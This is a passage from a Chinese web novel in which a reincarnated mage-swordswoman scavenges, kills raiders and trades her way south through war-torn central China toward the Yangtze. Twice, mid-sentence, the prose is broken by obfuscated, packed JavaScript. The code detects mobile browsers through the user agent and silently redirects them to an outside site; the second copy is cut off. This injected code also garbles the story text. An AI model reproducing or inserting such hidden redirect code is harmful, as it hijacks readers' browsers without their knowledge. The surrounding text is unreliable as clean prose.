整片曾经的营地一股腥臭味,没有人收尸,还有一辆车厢残骸仍然在燃烧,提供了仅有的一点可见光。回岛拿个上辈子让兄长的工匠们做的玻璃蜡烛马灯出来——那时玻璃可是奢侈品,纳瑟斯赚了不少后将配方献给皇室、皆大欢喜。蜡烛则是时间较久已经变形,可是还能点燃。 透明度和平整度都很糟的马灯意外地适合照明,在各种凹凸平面的“协助”下乱照的烛光看得挺远,就是不怎么清晰。 没有活的马和牛,只有倒毙的,放了一天开始变质。地面车壁有不少箭支,拔走。 补给车不出意外大部分都拉走或搬空,可光是剩下的一些散装糯米、小米、大米、蔬菜等等都够她吃一阵子,统统带走,一片叶子都不留。 还有几个坛子,大又沉不适宜搬走,其中一个被砸开、里面是腌菜,她就将完整的都收走——这些坛子肯定不只是腌菜。 谢家男女主人只有尸体没有行李,可仆人的衣物行李还剩了不少,苏茜一股脑也收了,最后有两个推车,一个完好的畜力车厢,炉具厨具餐具,木头家具、半残的车厢车轴车轮等等能用的或都能烧火的也都拿走。不太行的兵器以及各种工具见到照收不误。 接着她就看到应该是另一支队伍也卷进来,有陌生服饰的尸.体,然而也有几具胡兵尸.体。苏茜将袭击者尸.体搜过一遍,就是奇怪他们的长相是非常典型的蒙.古人种,连鞑.靼都不是。她懒得去深究,五胡乱华是五大支,还有中小支多了去了,哪怕是胡化汉人也很常见。 将能拿走的车厢箱子柜子包裹箭支全部收回岛,苏茜沿着队伍前进的反方向走了大概四五公里,没见到任何人。在凌晨接近天亮的光线里,可以看到田地里没什么庄稼,大部分是稀稀落落的黄枯野草,路边的房舍明显已没人住。人们要么死了,要么逃亡了——没有跟着世家队伍走的平民是无力南渡的。除非是早期就胡化的居民,比如她家乡那一带,还能勉强活下去。 这里是人口密集的中原,居然被自然和人为的灾搞得如此荒芜。 沮丧地回到岛上。苏茜怕下雨毁坏东西,先将收来的东西归类整理,重新取出来魔力宝石做的保鲜收纳箱,储存食品和少量丝绸制品, 顺便做些吃的。 就简单的搞个煤炉砂锅蔬菜粥。吃完,先修炼和练武。冥想的效果类似修炼,但提升体质效果似乎不及修炼而更能促进武术。为提高效率,苏茜增加了身体锻炼和练习弓箭的时间。 弩弓、长弓、箭支等过去了大概百年,还是放在防尘阵法里的——作为奥术师,她觉得自己居然有本事搞修士法阵也是稀罕——因此还能用,就是这个身体不管是端着弩还是拉长弓,包括抡斧砍木头都非常吃力,可见体能并没有想的那么好!得好好加强,不然在这个乱糟糟的时代迟早要被吃掉或毁掉。 这里的吃掉就是字面意思,割肉放血蒸熟或煮熟吃,甚至有可能还有一口气的时候被活活割下肉,即“两脚羊”……想到那些不记得是哪个时代的说法,苏茜几乎想做炸药了,黑□□是她很久以前特意查过的,就是原料硝很难从市场上买到。 现在还有集市可以买东西吗?恐怕有钱也没地方买。另外,自己得穿什么样的衣服不会被强或被杀啊?剑士装?会不会太奇怪?好像早期的留里克王朝对应的是唐朝,更早还是古代蛮族部落联盟时代,拜占庭都还没开始,自己完全不是历史体系内的剑士装依旧属于奇装异服,还是就穿男仆衣服。 此外,上辈子她搞的改良版卫生纸存货不多,其他原料又没有——没有棉花,不管是上辈子还是这辈子——那么得用草木灰解决经期问题了。 最后的也是最重要的,哪里去弄粮食蔬菜? 这里是胡兵飞驰能到的,而且距离洛阳不太远,按马车那装X的速度,不超过三百公里。这距离并非骑兵队伍从洛阳奔过来一天能到的,要维持人数、战斗力和急迫程度,加上路况,怎么也得三天。所以可能有一支队伍就驻扎在比较近的地方。 数量……估计要么是大部队路过附近,要么也就是几百人的专业劫匪,不然不会几十个武士脱离队伍那么久奔来打劫。 呵呵,她怕几十个匪人吗?当然不!就是战略性地选择更有利自己安全的方式罢了。 * * * 就是古代作战侦查功力不太行,或者说徒步和骑马的速度差距比较大,堪比马车和战斗机。所以她往回走了三个晚上——白天太热太脏也太显眼——没找到什么痕迹。而且一路别说城镇村落营寨,连活人活狗都没有! 不算多的蔬菜和几个发干发皱的酸果子已经吃完了,只能用海藻海带和一点腌菜来解决纤维素维生素。明天还是得在天没有完全黑的时候出来看看地形,夜间观察视野确实不行,如果夜间有雨云,那真的是伸手不见五指,连路都看不见。 结果第二天傍晚天降黑时一出来就听到不对劲的声音,一身男仆服装的她立马在道边蹲下,然后缩回岛上。是马队,很多马在附近。她计算着声响和速度,先吃了个饭。 碳水化合物还能吃到年底,但明年就不行了。 这几个月必须搞定基本生存问题。 就是吧,这支队伍难道是连夜赶路的?骑兵只可能是胡兵,那么他们为什么走这个方向?追击南逃的人?还是再往南就是新的战场?记得胡兵是自西向东推进的,而自家的马车是向东南偏东跑。她拿出地图研究半天,想起来好像哪个仆人说了个许昌的地名,说是那里买的什么肉——反正她一路没吃过肉类。呃,好像直线距离不是特别远?史书早就扔了,她只记得中原应该被不少大小政.权占过。 经历过伏尔加格勒,苏茜已经无惧任何乱世,但此时此地甚至还算是好的,洛阳被占应该是前赵的事,而羯族的一个暴君把汉人当军粮的事可能还没出现呢,这得几十年后吧?!那她与其继续呆在中原天天杀人和被追杀,还是换个和平些的地方? 想着,就到了半夜。苏茜不死心,装备齐全地蹲着回到路边,骑兵队伍早就过去了。她耐心地肉眼观察,没看到什么。拿出望远镜一点点搜索,嘿!真的找到了!两百米左右,道路的同一侧,至少有一个人,身上有刀、有弓箭,在一个小土丘上踱步。但观察方向完全不是她这边。 那人侧方,有几个躺在野草地上的人,三个人,没有盔甲但是有武器。再远一点,五匹马在休息。 应该不超过五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162378|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人。她回去换装备。连发弩,是她亲自造的,因为材料顶级,一百多年后用估计问题出在蓄力装置上,因为那个拉弦是动物制品。现在的臂力能用的细剑和长匕.首都是她自己的作品,虽然不是奥术附魔作废,但对付普通的铁刀一点问题没有,但对付钢刀就不一定了。因为她必须将五个人全部干掉,这就需要点技巧。 她毛毡折了四折垫在肩膀上作为垫肩,特意在岛上先试验了下弩弓,依旧能用,二十支短箭就是准头不行,一时打不准百米外目标。 回来,匍匐前进,到接近一百米的时候,观察到仍然只有四个人。看来第五匹马可能是备用的,虽然每匹马背上都有东西。 找了块石头作为借力点,试了试连发弩的手感,再设想下那三个人可能的行为,将细剑和匕.首出鞘放在左边,另一架满箭支的弩放在右手。 瞄准! 一箭扎入后背, 其他三人被弓箭和同伴受伤的声音惊起,正要抽刀应战,被苏茜继续放倒第二个。第三个人已经跑过来,一箭扎在腰腿间、发出凄厉惨嚎。第四个人见不妙想跑,头部挨了一箭,但被头盔挡住,但连发的意思就是十支不需要装箭,所以接下来三箭有一箭“不幸”将他脖子穿透、当场毙命。 苏茜警惕地用肉眼观察着,果然看到一个人从山丘后哇哇叫着她听不懂的方言。在对方冲过来的时候最后三箭连发,一支命中。 苏茜拿起备用弩,给没死的各致命一箭,最后才提着细剑凑近,将尸体和行李物品包括马具都拉回岛处理掉。 五个胡兵依旧没有雅利安血统,而且服饰不太一样,估计是匈奴或者哪里的杂兵。从口粮和水袋来看,他们的任务应该也就是到明天就回去复命。因此苏茜大概收拾了东西,无奈地出来,取下马鞍,往不同方向放走四匹马,然后爬上最后一匹的马背,不管不顾往正东方向去。 一直到天蒙蒙亮,居然看到远处有人烟的样子。她毫不犹豫地将马放生后回岛。 现在的温度晚上盖床单就够了。床单、毛毯和毛皮褥她有一摞箱子的存货,暂时不需要考虑冬天取暖。只要记得多准备干净些的草木灰。 第二天起来清洗整理战利品,不是她不嫌脏,而是真没办法立刻变出来本地风格的服饰。还有发型等等都要研究。 于是苏茜咔嚓咔嚓将长发剪到肩下,加上还算白皙的牙齿、有弹性的皮肤,配合不太明显的上围与不是特别矮的身高,各族各阶层乱搭的衣物,以及俄族或海岛黎族方言——相信这里没人听得懂——买或抢了汉人的夏季纱冠系在脖子上,脑袋后的辫子非常显眼,有点像是跟着部族迁徙队伍来中原的愣头青。哦,还有一个绝技,头发半干时用布巾一包、系绳一绑,然后睡觉。第二天那头发就有些卷,看着不那么黑长直。 另外,一双有点年头的靴子,以及腰间皮革腰带上挂着的长匕.首才是必需的“点缀”。总之,不把自己搞成两脚羊,但也不是到处杀掠的胡兵。 甩甩小辫儿,在天亮之前出岛,推着推车,往看好的集镇方向走。推车也是跟现在不一样的双轮而非单轮车。 …… 几天前死的五个人,连尸.体带马匹和物品一点不剩,让队伍的头领也搞不清楚怎么回事,其他人都在猜测是不是看到大肥羊追过去了。因为苏茜将沾了血迹的灌木杂草都砍走了些,来查看的另一队人确实有见到不少马蹄印子朝其他方向而去,却没找到明显的“战斗场景”,就回去说没见到人。苏茜半夜里不可能清理地多干净,有人的和没人的马匹的马蹄印也不同,但整支队伍都不是很专业且缺乏耐心,派来干活的人本身也是懒得认真搜寻。 因此苏茜大大方方地在各族人来来去去的小集镇上买到一推车的东西。带着土的豆和菜,半麻袋发黄的米,小酱菜罐子,一大包半旧不新的衣服,一叠草鞋和两双类似木履的玩意,另外就是一堆看上去像是摊子上卖不出去的沾灰处理品——让人连打劫的念头都没有,因为她用来交换的东西也是发黑的银戒指和银簪子,一看就是只抢得到穷人。 没有牛羊猪鸡鸭鱼,苏茜倒是找到了发酸的米酒,没人买,她包圆了三罐。 “小子,这个不能喝,会恶心。”一旁走过的一名大叔好意用手势提醒,甚至做了个呕吐的动作。 “没事,做菜用的。”苏茜回了个傻笑,还将自己付账的一小块有点发黑的碎银给他看,表示付出的东西很少。 银不是此时的通用货币,有的地方是拒收的,而有的地方则会压点价,但大家都承认这是值钱的贵金属。 摊主有点生气,他卖了三天才有个冤大头包圆,给的还是银子,就是成色那啥了些。 两个人连同摊主讲三种不同的口音,居然还挺和谐。 苏茜是没法子,银砖就那么几个,上辈子都没机会用掉,只是清洁了黑色,而现在发黑一点法子也没。快中午的时候太阳很热,大家都找地方躲了。苏茜也从一个饮食小店里买了两包吃的,像是给一堆人带的似的,然后在破屋烂房的缝隙间一转弯,从人们的视野里消失。 谁让这家店是唯一一家有肉菜供应的店。苏茜花了近四两银子,才买到一斤瘦肉为主的烤猪肉——比肥肉还便宜——以及五斤左右的干饼子。 本地的斤,大概四分之一公斤左右。 猪是小猪,没有很糟的未阉割怪味。一半的肉跟两块干饼、一些叶菜混在一起煮煮,再加一点自制海盐,味道不错。然后就是洗衣服晾晒。中原的天气不怎么北方,所以目前仍然偏热。苏茜买的时候只要大小合适就拿。现在一整理起来就发现为什么卖得那么便宜:没有毛皮,更没有丝,差的是苎麻,好的是粗棉。苏茜行李里的则都是丝质,正好互补下。 棉出现挺早的,就是纺织技术和棉花供应都不好。 另外自己没有苎麻过敏,这可能与从小生活条件一般有关:苎麻过敏的中下层人是活不了的。 晚上吃相同的东西。这点烤肉吃两顿真不算多,干饼则是吃不完,可以留到明天。 第二天先试验麻衣,也就是比树皮好一点的苎麻制品。好在自己的身体年幼时是被当成奴仆养的,根本没机会穿丝绸,早就练出来适应性,并不会对化学试剂都无法改善的苎麻产生过敏。本地不出产还可以接触皮肤的亚麻,这一点要注意。此外,这里的棉也不是长绒棉,而是质量很差的草棉。倒是丝的质量真心不错,还有织出来的花纹。这个年代的蚕与后世的蚕不太一样,水稻小麦品种也不同,似乎没有燕麦。 苏茜对买到的米很满意,不是精白米,营养其实更好。于是第二天,她又去那个摊位,将剩余的米也买走了,顺道去店里买走了几乎全部的烤瘦肉,足有九斤多,也就是两公斤多些。这类没有多少水分的食物,收纳箱里可以放五六天。 好在法师的她费了上百年的时间攒了那么多魔力宝石,只要放得不是太多,一颗宝石能用半年多。因此她只放确实需要保存的食物,两天内吃掉的都不舍得放,肉干鱼干虾干以及不少小袋装的粮食全部放在外头。毕竟当年自己需要辛苦工作大概三百个小时才挣到一颗。 这要是没有积累的人穿来这个时代,很难说能活多久、死得多惨。更不必说本地汉人平民。 51.衣冠不南渡(二) 就目前而言,只要本地没有战事,汉人平民也能活着养育后代,最多每一族起码得有一桩嫁娶胡族的婚姻,另外就是给胡人地主种地。绝大多数胡人并非喜欢吃人肉的畜生,在有稳定粮食来源的盼头下,他们甚至开始混搭穿着汉家风格的领子和鞋子,学中原的方言。 苏茜学了点口音不错就是词汇太少的羌语方言后,发现对面的羌人跟她讲有点耳熟的汉话,于是她也切换成带,呃,伏尔加河腔调的汉话。 她早忘了后世河南方言怎么说,但与自己在夫家时听到的明显不一样,而且对方的调调似乎带点苏氏家乡那边的味儿——当然也不是后世的陕甘方言,差别太大了。 “这是很珍贵的丝绸,好不容易弄来的。” “啊,太贵,不不,我就要这几条,我们哥萨克不讲究。” “那,那个,多拿几个。便宜。”哥萨克?没听过这个地名,那可能是族名了。自诩见识不错的中年人也迷惘了,这小伙子的家乡很远吧! “好。都要。”苏茜给出去的有碎金粒和碎银粒,双方讨价还价了半天,苏茜从靴子里又拿出俩碎银子,这算是将身上的钱用得差不多了。她的马是再次摸黑割断俩胡兵的脖子后得到的,顺便还有他们劫掠来的东西,都成她的战利品了。现在她终于搞清楚几个族正规军、杂牌军和劫匪的服饰跟武器的区别,但他们的行事作风都差不多,所以苏茜很奇怪为啥后来羯族成为唯一被系统灭掉的,说不定跟现在那位奴隶出身的石天王有关。可通史里年代记录和冉天王等又对不上号!这段历史太乱了,所以她只要干掉自己能下手的坏蛋就行。 …… “小子,留下东西和马!”八个拿着棍棒、蓬头垢面的人拦住道。汉话。 “劫道者,死不足惜。”苏茜在骆驼毛毡下抽出大剑。本来想在这里放马回岛的,现在顺手做点好事吧。 训练了半年多,吃好穿暖,连跑步都远超这几个瘦骨嶙峋的家伙。砍翻打倒六个,还有俩跑了。 跑就跑吧。她收起八根似乎是制式武器的棍子,上马,换个地方回岛上。 之前的几个月,东南西北乱转一圈,中原的天气并不算暖和,也没见到有人穿棉裤——难道这些人不冷吗?苏茜犹豫了个把月,最终决定往南。这是第一次有汉人死在她手下。此外,她没见过汉女,不知道平民女子穿什么衣服,倒是手里有不少侍女侍从的服饰,类似直裾的那种袍服装束。 每天练功早饭洗衣烧水之后,苏茜会步行五个,不,两三个时辰。向南走了快一个月,终于找到一个还开张的镇子。 到镇子的时候,她披挂穿着骆驼毛毡,腿上单裤,脚上短靴。不是乞丐,可一身尘土并不比乞丐好多少。 镇子很小,只有一条街和三家铺面,早集已经过去,没什么人。 苏茜看到第一家是成衣铺就走进去。铺子门面都很小,但里头非常大,有三进。靠近门口的都是布衣,乍一看是麻衣,但感觉不太像。 “客人要定做还是买成衣?”活计迎上来。 “成衣。”发音与伙计的基本一样。加上有些长长的头发隐在乱七八糟的布巾里,对方没将她当成胡人。 伙计也是头巾,比她的整齐多了。苏茜研究了下对方布片和头顶头发的扎法。觉得对方也许是胡化汉人。 “这细麻布虽不及绢丝,可絮了丝棉,冬天很是暖和。”伙计隐晦地扫过苏茜干干净净的手,示意她可以上手摸。 苏茜比划了下宽大的衣服,长度到脚面。考虑到自己还能长高一点,她立刻下手买了,而且用两块沉甸甸、亮闪闪的金饼,将细麻原色的中衣外衣长裤膝裤棉衣棉裤棉斗篷等等现货直接买空,还将两双麻履、两双低齿木屐作为添头,最后在隔壁木匠铺买了辆独轮推车。 等苏茜行动间露出来的略弯的刀,让伙计心里一惊。这位是啥都敢干的那帮家伙啊?看不出来哇!不过,只要对方不是来打劫,己方能挣到钱,其他的都无所谓。 出镇的时候,苏茜才发现不少持械暗哨,如果自己是去打劫的,那应该是走不出镇子的。 四天后的清晨,苏茜一身混搭,出现在本地逢十的大集。里面的衣服是汉式成衣,外头是带兜帽的羊毛大披风,在好些民族都参与乃至摆摊的集市里并不突兀。集市上东西出人意料地不少,一半是吃的,一半是用的,东西南北都有,甚至还有两只玻璃杯,但不是一对。 杯子这玩意,苏茜有好几百件,而且都懒得放清洁法阵里。不过眼前明显是罗马风格的彩色玻璃杯,可能还加入了贵金属。 于是苏茜就用五个库德金币买下了其中更漂亮的一只。而另一只也被人用一柄匕.首刀换走了。真没想到,这个时代可以直接用其他世界的金币呢! 最后她背了一个褡裢走。路上还顺手用放在推车底下的弩干掉了几个追着想来打劫的人——来集市的人,而非守卫人员——其中一个就是买走另一只玻璃杯的人。这种“买卖”最让人愉快,尤其是这几个人身上值钱的东西远不止一只玻璃杯。 苏茜对着岛上的阳光看了看两个玻璃杯,突然想起来一件著名的变色玻璃杯文物,点了支蜡烛放在杯子里,可惜这俩杯子不会在不同方向的光线下呈现不同的颜色。好歹是罗马时代的文物,说不定哪天能溢价卖出一个好价钱。 这个时代最值钱的应该是书画作品,可她不确定能否弄到真品,更不确定有没有机会合法拍卖,所以还是算了。倒是玉石,比方说手里的一只战利品玉镯子,看起来摸上去都挺润的,是劫匪抢来的好货,现在成为她的收藏了。苏茜不是很懂玉和翡翠,她的嫁妆里也有一对玉镯,但颜色不太一样,质感也不相同。既然劫匪都当成好东西藏在暗袋里,很可能比她那两只加起来更贵重,何况现在绝无可能有树脂做的假货。 听了半天的方言古地名,比对脑袋里不对路子的地图,苏茜得出来的结论是现在仍然是中原,一马平川,易攻难守、攻了也没用还不如抢一把就走。于是这片平原地区就没有可以抢的对象了。 各个地盘都有兵,甭管什么兵。土地要么整块都在准备春耕,要么全部荒着。准备春耕的有士兵打扮的保护和监督,荒着的就是无人区。 苏茜干脆改为夜间赶路,全靠指南针。碰到山就翻山顺道砍几树,树干烧火、树叶洗洗晾干烧了做草木灰,遇见河就淌过去或者游过去。走了快二十天,昼伏夜出还吃海藻海带快熬成鱼干的时候,才在一个凌晨见到背着背篓的活人!她打起精神,回去换衣。再出来,那人已经不见了,但明显可以看到官道的样子。 官道尽头,似乎是山。这个方向、路程,可能是大别山区域?不,是西边的“片区”? 不管,先看看有没有蔬菜。主食很够,几种粮食交替着能吃小半年,她甚至都不在消耗魔力宝石的收纳箱里放多少粮食。 果然,这里物产不多,山上树木稀疏,只有一点点不值钱的药材,而且以汉人平民为主。这里的平民仅与士兵相对,包括不知道替谁收税的小吏、收保护费的混混、宰客不商量的摊主、动不动拔刀的顾客……没有好惹的,包括挎着两柄短刀、穿着短靴的苏茜——脚上的牛皮短靴花了一块金子,质地和做工都很好——即使她穿着有些别扭的汉家服饰,大家一致认为她是胡人,因为白肤白齿的汉家少年可没有佩短刀、穿皮靴的,人家讲究一个弱不禁风。 暗戳戳不怀好意的目光苏茜见多了——盗匪匪徒士兵看死人的目光不会让她有情绪波动,只会让她找机会将对方灭迹。 初春只有不多的山里野菜,韭菜之类的叶菜就别想了,菠菜生菜的还没引入,笋——附近没有竹林,可确实有卖还不便宜。 苏茜拿了战利品中的一把大概二十枚铜钱,直接将摊主的筐连菜都扛走。这个价格不低,加之半旧筐子连三个钱都不值,所以摊主没有冲上来拼命。其他也有兜售的,苏茜直接摇头,“没钱。” 集市上没有卖肉类的,不过居然有布料。苏茜看了眼,摇头,“太贵”。 其实是质量太糟。 兜售的卖主翻了个白眼,对方身上穿的比自己卖的好多了,大概不是买来的。估计那两柄刀是见过血的,他就不再多啰嗦,倒不是怕个小子,而是怕莫名其妙被捅一刀。 接着苏茜就继续往南,沿着山间小道的绕,在一片灌木丛里消失——估计是她的气势和抠抠搜搜的付账,无人跟踪。 野菜类似荠菜,用之前买的麦粉做成薄面皮,加一点菜籽油,包上拌了点酱料的焯水野菜,烤炉里烤。口感吧,也只能说可以咽下去。倒是路边摊买的根茎作物可是大名鼎鼎的茯苓,但不是白茯苓而是赤茯苓,也是味药材。 休息了一天,她出门找药。白茯苓补气,赤茯苓利水,可能总结有些偏颇,但大概就这个意思。真在山里晃,方向就完全不对了。可为了一口吃的,真不重要。 山村早就荒了,但林子里的棚户很多。苏茜白天傍晚一个个找,用海盐交换买各种可以买的,不提整筐的白茯苓,冬笋、春笋都买了几十公斤,便宜到让人头晕。就是山里也缺粮,盐同样缺就是,所以用盐换菜很受欢迎。 就是卖家们身上衣服上的跳蚤虱子之类很麻烦。 苏茜开始考虑定居的地点选择。这类山区出产单调,面积广阔,还距离战场比较近,本地人普遍极度贫困,听说还有汉人山匪,集市要么被毁、要么依托匪盗或胡商胡将。 听说襄阳那边被羯兵攻下了,正乱糟糟的,所以她既然没本事一个人干掉多少胡兵,还是退避一下。 可,光退避也不是事儿。 有一群人,就在附近残杀无辜平民,该怎么办?! 一群,几十个吃人畜生。看样子属于散兵游勇,跑到距离大本营这么远的地方。苏茜回到岛上,盘点手边远程武器。长弓无声响射程远、可一次一个,连发弩一次三五个、声响不太大,刀剑的话以自己目前的武技体能搞不定。各种可能在脑袋里过一遍,苏茜吃个半饱,喝点茶,方便一下,在天黑后穿上大斗篷,将全身裹住,各种武器全备上,蹭到一棵歪树边,用树干做力量支点,望远镜观察一圈,确认敌人的位置,然后开火,不,开射。 她的连发弩距今不到百年,附魔的力量自然衰减却仍然超过本地普通的弓箭。三架弩,三十支箭,在非常短的时间内放倒十来个。那帮畜生没有专门站岗放哨的,一开始还在火边喝酒吃人肉高谈阔论,后来发现不对拔刀冲过来。等剩下几个完好的真的冲到跟前时,空无一人。 苏茜早就回岛了。除了有点肌肉拉伤和少量擦伤,啥事没有。 休息吃喝后睡了一觉,凌晨再出岛。小营地的篝火灭了,只留下一大一小“两脚羊”的残骸,以及十一具尸体。 连弩箭和随身物品都没有被收走。现在苏茜来收拾。 这些尸体大部分箭伤并非致命,因此死亡过程比较漫长痛苦,身上值钱东西和刀都被完好的同伴带走了。 苏茜倒不是要钱财,而是回收那些箭支。尸体和他们的衣物就扔在那,会有大自然或者什么生命体来处理的。 离开这片杀戮场,找到一处腐殖质还不错的地方,挖土。前几天买到不少菜种子,她都找不到地方种。如今连腐殖质泥土都是现成的。 这些干完,都上午了。她回去吃东西修炼睡觉练武,第二天下午只穿了件三层苎麻布做的夹衣和单裤就上路。 这次走到傍晚就看到有聚居地,顺利得不可思议,但总觉得哪里不对? 苏茜先回岛上休息吃东西,天黑出来就发觉不对在哪里了:这个聚居地居然有火把。用望远镜再细看,外围是有围墙的,有些屋子开着门、透出灯光。 第三天凌晨出来再观察,有更多不对劲的地方。一是这片区域还有竹林,奇怪的是长势乱七八糟,显然无人打理,而且竹笋没有挖过的痕迹。二是里头的房子都很结实,应该不是竹木土坯和茅草的结合品。 不对劲,是吧! 接着听见更不对的声响,有一支马队过来。她前天处理的那帮玩意身边没马,现在用望远镜一看马鞍马袋和装束完全一样,这支马就是同伙! 最后出来接应的人坐实了猜测:穿得不错,但不是正儿八经的好衣服,而是拼凑的好衣服,甚至还有些莫名其妙的昂贵饰品,且与发型完全对不上号。还有,都是青壮男子,估计整个聚居地有超过三十人,很可能是山匪的一部分。 苏茜先是兴高采烈,接着就愁了:她一个人,能对付多少人? 边跟踪边纠结,也就是两天的功夫,在苏茜都打算放弃、下山买蔬菜的时候,这个窝点被人端了! 服饰上看,也属于“敌人”,虽然皮肤晒得黑红,但明显带了雅利安特征。装备齐全、建制完整、平时没少见血的一百步兵,搞掉几十山匪跟切菜一样。但这个据点财货不多,所以刻意留下活口的几个小头目被推着去找老巢。 苏茜在对面山坡上的临时庇护所里看着,回头继续挖野菜和竹笋。这种菜更加接近荠菜,也许就是荠菜的未人工筛选品种,口感略粗,但挺好吃。 半小时后,那队士兵开拔,留下燃烧的房子。 这作风真是……苏茜咬咬牙,还是远远跟上了。 整队的士兵走得不会太快。直到次日傍晚,苏茜才得以接近被洗劫焚烧的山匪老巢。值钱东西和整袋粮食都没了,但还剩一点零星吃食、布料等,苏茜一点不客气全部笑纳,然后连夜走人。 这个方向就有点把握不准了,走之前看着对面山头是朝东,但翻过这座不到千米的山,居然还是山。这个,算是核心山区? 出于安全考虑,她改为走有很多人畜踩的山道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这种劫匪身上都没啥值钱的,加起来才两百多铜钱,还分好几款样式和重量,明显是各地私铸,排列组合地十分精彩,根本不知道能否用。 苏茜分辨了一会,其中有两款铜钱跟她一年前手头的都不相同,但形状大小重量差不多,说明是不同时期同一铸造标准,不是私铸的劣质货;其他低于这份量的全部是不合格品。 劣质币两文当一文用总是能花出去的是吧,难怪那家店兑换的时候那么“公道”,原来挖坑的地方在此! 苏茜气得半夜回去那家铺子,避开巡逻私兵,翻墙钳锁地进了杂货铺,带走一个上锁的柜子出门回岛。因为此时已经躲不开巡逻的。 直到第二天凌晨,她才原地出来,离开镇子。 有了肉干菜干,苏茜底气十足地在山区朝南、也许不止是朝南地继续走了半个月。 在蔬菜彻底告罄时,终于看到了山脚有灯光,远远的山脚,明天得走一天可能还不够。 所以这回是从冬天走到秋天才走出大山。 同时也成功避开关隘城池。洛阳谢氏也许还有人活着成功南下,可与她半点关系也无。苏氏似乎没有南下的打算,还跟几族都通婚。因此长江以南无人认得她苏茜娘。 话说,长江呢?中秋穿单衣不是北方的气候,如此低的维度,长江呢?!她一边利索地行路,一边观察水文。 真看不到大河,倒是有个湖。集镇就在湖边山坡上,地势由高而低,有意思的是房子的质量也是由高而低。高处是大宅,低处是草棚。但总体上居然是挤挤挨挨,十分热闹的场景。 全镇没有胡人装束。 也有可能胡兵还没打过来。 苏茜想着岛上的武.器数量,颇为安心。其他的,好好训练,怎么也得练到一手大剑一手短刀,以及百步八环。 秋天只要不下雨,黑得都不算晚。接着苏茜就发现问题:行人没有,店铺关门。再仔细看,最好的几处大宅门都是关着的。 她加快脚步,走到棚户区,消失在转弯的泥泞小道上。 第二天凌晨,镇上靠近湖边有个小集子,蔬菜瓜果,还有鸡蛋鸭蛋鹅蛋和活鸭。苏茜像模像样地挑着担子全买了,还买了不少摊主剩余的菜种。这时节播种的菜不多,可确实有,卖家还好心提醒了两句注意事项就不管了,穿了麻衣草鞋、压着嗓子说话的苏茜也不需要他管。 两筐的食物和一大捆挺适合做草木灰的秸秆,让人心情顿时好了很多。 苏茜开始在岛上做农活。 冬天的蔬菜供应是件挺麻烦的事。 摊主卖的种子是瓜菜,来年吃。所以今年冬天还要指望收集来的荠菜种荚里的种子。种植盆、罐、箱和土壤、土肥都要弄,山洞门口的那个炉子大概下个月就要开始不间断地烧火了,所以要开始锯断和烘干堆满石屋边空地的树干。 此外,趁着岛上还没到冬天,抓紧弄鱼干虾干贝肉酱海带干。 修炼和练武是每天雷打不动的。 所以苏茜忙乎了快十天,才又去了趟集子。 这次她终于知道为什么镇上的气氛如此奇怪。好些大户全族渡江南下,不少仆役部曲也跟着走了。 “下邳在哪啊?老远吧?”一位满脸纹路、脊背微驼,可能实际年龄不超过四十岁的妇人问道。 “在我们东边往北一点。”这已经是最有见识的文盲汉子了。 苏茜也不知道,因为她不清楚自己在什么地方。古地名和后来地图上的地名完全对不上号,手头又没有史书对照材料,彻底放弃。 “这不是没打来吗?跑什么跑!”害得她家生计少了一半。 “那胡人会打来我们这吗?”另一个中老年男子一条裤腿完整,另一条裤腿的布料少了一大截,小腿上满是泥灰。 “我们和胡人隔着大山呢,山连山的,而且他们打来干嘛?”汉子画了个圈儿,自嘲道,“我们穷成这样。抢什么抢!连好看一点的闺女新妇都被大户们带走了。” “也是,这样过吧!活一天是一天。” 苏茜戴着斗笠的脑袋也跟着大家摇了一下,提着个半满的竹筐,往湖的南边绕行而去。衣裤草鞋上的泥巴显示她走了不少路。用以掩饰没有补丁破洞的衣物。 再往南就是大江,长江。古代的长江她还没见识过。 后世的长江苏茜见到很多,有的是飞机上看了眼,有的是路过,有的是纪录片。 但现在的长江,宽得是不是有点过头?秋高气爽的天气居然望不到对岸?! 她不死心地沿江边湿地边缘又走了两天。这次终于见到对岸了,甚至是下雨、雾气蒙蒙的时候都能看到对面的阴影。 感受了下温度,算了下距离。苏茜回岛放东西,换衣服,准备东西,以及一个单人单桨小木舟。 在天黑之前,苏茜翻过一次船、一身湿漉漉地到了对岸。 休息一晚,第二天早上兴致勃勃地走到中午,才惊愕地发现:自己以为的对岸,只是个江心洲! 52.衣冠不南渡(三) 第二段江面更宽,水流倒稍微好一点,起码表明上看好一点。苏茜休息了一天半准备好遇到人的东西包括战利品短刀和短弯刀,下午再次划船过江。在天将黑的时候终于脚踏实地。 第二天来看这个实地同样有问题,是芦苇滩而非陆地。将小舟划进去,居然又是个小湖泊。小湖里有不少鱼虾螺蛳,没有大闸蟹和刀鱼鲥鱼。 现在苏茜手里有调味有酱料,虽然不是很齐全,比如说没有辣椒、买不到花椒、更没有胡椒,可是葱姜紫苏米酒菜油酒曲等等都有,做海鲜湖鲜鸡鸭鹅肉也好吃很多,香油荠菜鸡蛋羹味道不错。 除了没有乳制品和各类香料,连芝麻香油和山茶油都有——比羊油贵不少。至于猪油,这里比较挺便宜,因为除了乳猪,没有骟过的猪肉只有想吃肉的平民才吃。但苏茜确实吃过骟过的成年公猪肉、没有怪味,说明阉.割一直存在,可能因为养猪的人家大多数希望猪只多生而不是肉好吃,所以只有做中高档餐饮的养猪人才会骟。 苏茜看到野鸭,没去抓。这种鸭子肉少毛多,肉质不如鸡肉好吃,一不小心还有寄生虫。湖里晃了一天,随便找了个方向划到对岸,上岸收船。 估计是有洪水和失足落水的问题,水边没有人烟,走了一段才看到有房舍。 